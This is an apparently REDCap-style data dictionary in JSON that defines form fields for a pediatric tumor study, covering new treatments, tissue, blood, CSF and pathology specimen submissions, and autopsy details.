{"field_name":"new_tumor_treat2_b8b","form_name":"updates_data_old","section_header":"","field_type":"checkbox","field_label":"New Tumor Treatment","select_choices_or_calculations":"4, Monitor only | 0, Radiation | 1, Chemotherapy | 2, Surgery | 5, On study protocol | 3, Other","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"if_other_describe_ntt","form_name":"updates_data_old","section_header":"","field_type":"notes","field_label":"If Other describe","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"rad_final_dose2_cd4","form_name":"updates_data_old","section_header":"","field_type":"text","field_label":"Planned Radiation Final Dose: ","select_choices_or_calculations":"","field_note":"cGy","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"rad_sites2_3b0","form_name":"updates_data_old","section_header":"","field_type":"text","field_label":"Planned Radiation Sites:","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"planned_chemo_agents2_3b0","form_name":"updates_data_old","section_header":"","field_type":"text","field_label":"Chemotherapy Agents and Planned Doses:","select_choices_or_calculations":"","field_note":"Identify if any agents are investigational","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"therapy_desc2_05a","form_name":"updates_data_old","section_header":"","field_type":"notes","field_label":"Describe:","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"describe_study_protoc2_eb1","form_name":"updates_data_old","section_header":"","field_type":"notes","field_label":"Describe study protocol:","select_choices_or_calculations":"","field_note":"Protocol Name, Sponsor, Treatment Schema","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"additional_tumor_molecular","form_name":"updates_data_old","section_header":"","field_type":"checkbox","field_label":"Additional tumor molecular or genetic tests done since diagnosis:","select_choices_or_calculations":"1, SNP arrays | 2, FISH | 3, Mutation analysis | 4, Next generation sequence | 5, Other NOS | 6, None","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"if_other_describe_att","form_name":"updates_data_old","section_header":"","field_type":"notes","field_label":"If Other Describe","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"test_results","form_name":"updates_data_old","section_header":"","field_type":"radio","field_label":"Tumor molecular or genetic test results:","select_choices_or_calculations":"1, Submitted | 2, Not performed","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"other_status","form_name":"updates_data_old","section_header":"","field_type":"radio","field_label":"Was the initial therapy completed as planned?","select_choices_or_calculations":"1, Yes | 2, No | 4, Unknown","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"reason_visit_not_completed","form_name":"updates_data_old","section_header":"","field_type":"radio","field_label":"Reason Visit Not Completed","select_choices_or_calculations":"1, Subject not seen at clinic during aprroved f\/u window | 2, Subject lost to follow up | 3, Subject deceased","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[follow_up_visit_status] = '2'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"date_tissue_1_submitted","form_name":"specimen_information_form","section_header":"Tissue Specimens","field_type":"text","field_label":"Date Tissue 1 Submitted","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"collectiontime","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Date of Tissue Collection Sample 1","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"time","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"volume1","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Amount of tissue, Sample 1 ","select_choices_or_calculations":"","field_note":"cm^3","text_validation_type_or_show_slider_number":"number","text_validation_min":"0","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"tissue_format1","form_name":"specimen_information_form","section_header":"","field_type":"radio","field_label":"Tissue Format, Sample 1 ","select_choices_or_calculations":"1, Flash Frozen | 2, Freezing Media | 3, Culture Media (RPMI\/Hibernation)","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"date_tissue_2_submitted","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Date Tissue 2 Submitted","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"collectiontime2_017","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Date of Tissue Collection Sample 2","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"time","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"volume2","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Amount of tissue, Sample 2 ","select_choices_or_calculations":"","field_note":"cm^3","text_validation_type_or_show_slider_number":"number","text_validation_min":"0","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"tissue_format2","form_name":"specimen_information_form","section_header":"","field_type":"radio","field_label":"Tissue Format, Sample 2 ","select_choices_or_calculations":"1, Flash Frozen | 2, Freezing Media | 3, Culture Media (RPMI\/Hibernation)","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"date_tissue_3_submitted","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Date Tissue 3 Submitted","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"collectiontime2_0172_40f","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Date of Tissue Collection Sample 3","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"time","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"volume3","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Amount of tissue, Sample 3 ","select_choices_or_calculations":"","field_note":"cm^3","text_validation_type_or_show_slider_number":"number","text_validation_min":"0","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"tissue_format3","form_name":"specimen_information_form","section_header":"","field_type":"radio","field_label":"Tissue Format, Sample 3 ","select_choices_or_calculations":"1, Flash Frozen | 2, Freezing Media | 3, Culture Media (RPMI\/Hibernation)","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"date_tissue_4_submitted","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Date Tissue 4 Submitted ","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"collectiontime2_0172_2_83e","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Date of Tissue Collection Sample 4","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"time","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"volume4","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Amount of tissue, Sample 4","select_choices_or_calculations":"","field_note":"cm^3","text_validation_type_or_show_slider_number":"number","text_validation_min":"0","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"tissue_format4","form_name":"specimen_information_form","section_header":"","field_type":"radio","field_label":"Tissue Format, Sample 4","select_choices_or_calculations":"1, Flash Frozen | 2, Freezing Media | 3, Culture Media (RPMI\/Hibernation)","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"date_tissue_5_submitted","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Date Tissue 5 Submitted","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"collectiontime2_0172_2_e27","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Date of Tissue Collection Sample 5","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"time","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"volume5","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Amount of tissue, Sample 5 ","select_choices_or_calculations":"","field_note":"cm^3","text_validation_type_or_show_slider_number":"number","text_validation_min":"0","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"tissue_forma5","form_name":"specimen_information_form","section_header":"","field_type":"radio","field_label":"Tissue Format, Sample 5 ","select_choices_or_calculations":"1, Flash Frozen | 2, Freezing Media | 3, Culture Media (RPMI\/Hibernation)","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"date_tissue_6_submitted","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Date Tissue 6 Submitted","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"collectiontime2_0172_2_e9a","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Date of Tissue Collection Sample 6","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"time","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"volume6","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Amount of tissue, Sample 6","select_choices_or_calculations":"","field_note":"cm^3","text_validation_type_or_show_slider_number":"number","text_validation_min":"0","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"tissue_format6","form_name":"specimen_information_form","section_header":"","field_type":"radio","field_label":"Tissue Format, Sample 6","select_choices_or_calculations":"1, Flash Frozen | 2, Freezing Media | 3, Culture Media (RPMI\/Hibernation)","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"date_tissue_7_submitted","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Date Tissue 7 Submitted","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"collectiontime2_0172_2_441","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Date of Tissue Collection Sample 7","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"time","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"volume62_146","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Amount of tissue, Sample 7","select_choices_or_calculations":"","field_note":"cm^3","text_validation_type_or_show_slider_number":"number","text_validation_min":"0","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"tissue_format62_a87","form_name":"specimen_information_form","section_header":"","field_type":"radio","field_label":"Tissue Format, Sample 7","select_choices_or_calculations":"1, Flash Frozen | 2, Freezing Media | 3, Culture Media (RPMI\/Hibernation)","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"date_tissue_8_submitted","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Date Tissue 8 Submitted","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"collectiontime2_0172_2_f7f","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Date of Tissue Collection Sample 8","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"time","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"volume62_1462_7bd","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Amount of tissue, Sample 8","select_choices_or_calculations":"","field_note":"cm^3","text_validation_type_or_show_slider_number":"number","text_validation_min":"0","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"tissue_format62_a872_ab9","form_name":"specimen_information_form","section_header":"","field_type":"radio","field_label":"Tissue Format, Sample 8","select_choices_or_calculations":"1, Flash Frozen | 2, Freezing Media | 3, Culture Media (RPMI\/Hibernation)","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"other_notes","form_name":"specimen_information_form","section_header":"","field_type":"notes","field_label":"Please use this area to describe any additional applicable information.","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"numsamples","form_name":"specimen_information_form","section_header":"Blood Samples*","field_type":"text","field_label":"Number of Child Subject Blood Samples","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"integer","text_validation_min":"0","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"sampledate","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Date of Child Blood Collection Sample 1","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"date_ymd","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"date_of_child_blood_submis","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Date of Child Blood Submission Sample 1","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"samplevolume1","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Child Blood sample volume, Sample 1","select_choices_or_calculations":"","field_note":"ml","text_validation_type_or_show_slider_number":"number","text_validation_min":"0","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"date_of_child_blood_s2_cb6","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Date of Child Blood Submission Sample 2","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"sampledate2_b77","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Date of Child Blood Collection Sample 2","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"date_ymd","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"samplevolume2","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Child Blood sample volume, Sample 2","select_choices_or_calculations":"","field_note":"ml","text_validation_type_or_show_slider_number":"number","text_validation_min":"0","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"dateparentsample","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Date of Paternal Sample Collection","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"date_ymd","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"date_paternal_blood_submit","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Date Paternal Blood Submitted","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"parentsamplevol1","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Paternal sample volume","select_choices_or_calculations":"","field_note":"ml","text_validation_type_or_show_slider_number":"number","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"dateparentsample2_20e","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Date of Maternal Sample Collection","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"date_ymd","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"date_maternal_blood_submit","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Date Maternal Blood Submitted","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"parentsamplevol2","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Maternal sample volume","select_choices_or_calculations":"","field_note":"ml","text_validation_type_or_show_slider_number":"number","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"slide_format","form_name":"specimen_information_form","section_header":"Pathology","field_type":"checkbox","field_label":"Slide Format Being Submitted","select_choices_or_calculations":"1, Physical slide | 2, Digital secure transmission | 3, Digital encrypted DVD\/CD","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"numbers_of_slides","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Numbers of Slides\/Images","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"describe_stains_used_on_sl","form_name":"specimen_information_form","section_header":"","field_type":"notes","field_label":"Describe stain used per image submitted","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"date_slide_images_submitte","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Date Slide\/ Images Submitted","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"csfcollectiondate","form_name":"specimen_information_form","section_header":"CSF Samples","field_type":"text","field_label":"CSF Fluid Collection Date Sample 1","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"date_ymd","text_validation_min":"0","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"csf_1_submission_date","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"CSF Submission Date Sample 1","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"csf_counts","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"CSF Cell Counts Sample 1","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"number","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"csfvolume1","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Volume of Frozen CSF fluid, Sample 1","select_choices_or_calculations":"","field_note":"ml","text_validation_type_or_show_slider_number":"number","text_validation_min":"0","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"csfcollectiondate2_36a","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"CSF Fluid Collection Date Sample 2","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"date_ymd","text_validation_min":"0","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"csf_2_submission_date","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"CSF Submission Date Sample 2","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"csf_counts2_540","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"CSF Cell Counts Sample 2","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"number","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"csfvolume2","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Volume of Frozen CSF fluid, Sample 2","select_choices_or_calculations":"","field_note":"ml","text_validation_type_or_show_slider_number":"number","text_validation_min":"0","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"csfcollectiondate2_362_09a","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"CSF Fluid Collection Date Sample 3","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"date_ymd","text_validation_min":"0","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"cfs_3_submission_date","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"CFS 3 Submission Date","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"csf_counts2_b0a","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"CSF Cell Counts Sample 3","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"number","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"csfvolume22_930","form_name":"specimen_information_form","section_header":"","field_type":"text","field_label":"Volume of Frozen CSF fluid, Sample3","select_choices_or_calculations":"","field_note":"ml","text_validation_type_or_show_slider_number":"number","text_validation_min":"0","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"please_use_this_area_to_do","form_name":"specimen_information_form","section_header":"","field_type":"notes","field_label":"Please use this area to document any other applicable information.","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"autopsy_type","form_name":"autopsy_updates_data_old","section_header":"","field_type":"radio","field_label":"Autopsy Type","select_choices_or_calculations":"1, Complete | 2, CNS only","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"autop_subj_age","form_name":"autopsy_updates_data_old","section_header":"","field_type":"text","field_label":"Subject Age at the Time of Death","select_choices_or_calculations":"","field_note":"in months","text_validation_type_or_show_slider_number":"number","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"time_init_diag_to_death","form_name":"autopsy_updates_data_old","section_header":"","field_type":"text","field_label":"Time from Initial Diagnosis to Death:","select_choices_or_calculations":"","field_note":"in months","text_validation_type_or_show_slider_number":"number","text_validation_min":"0","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
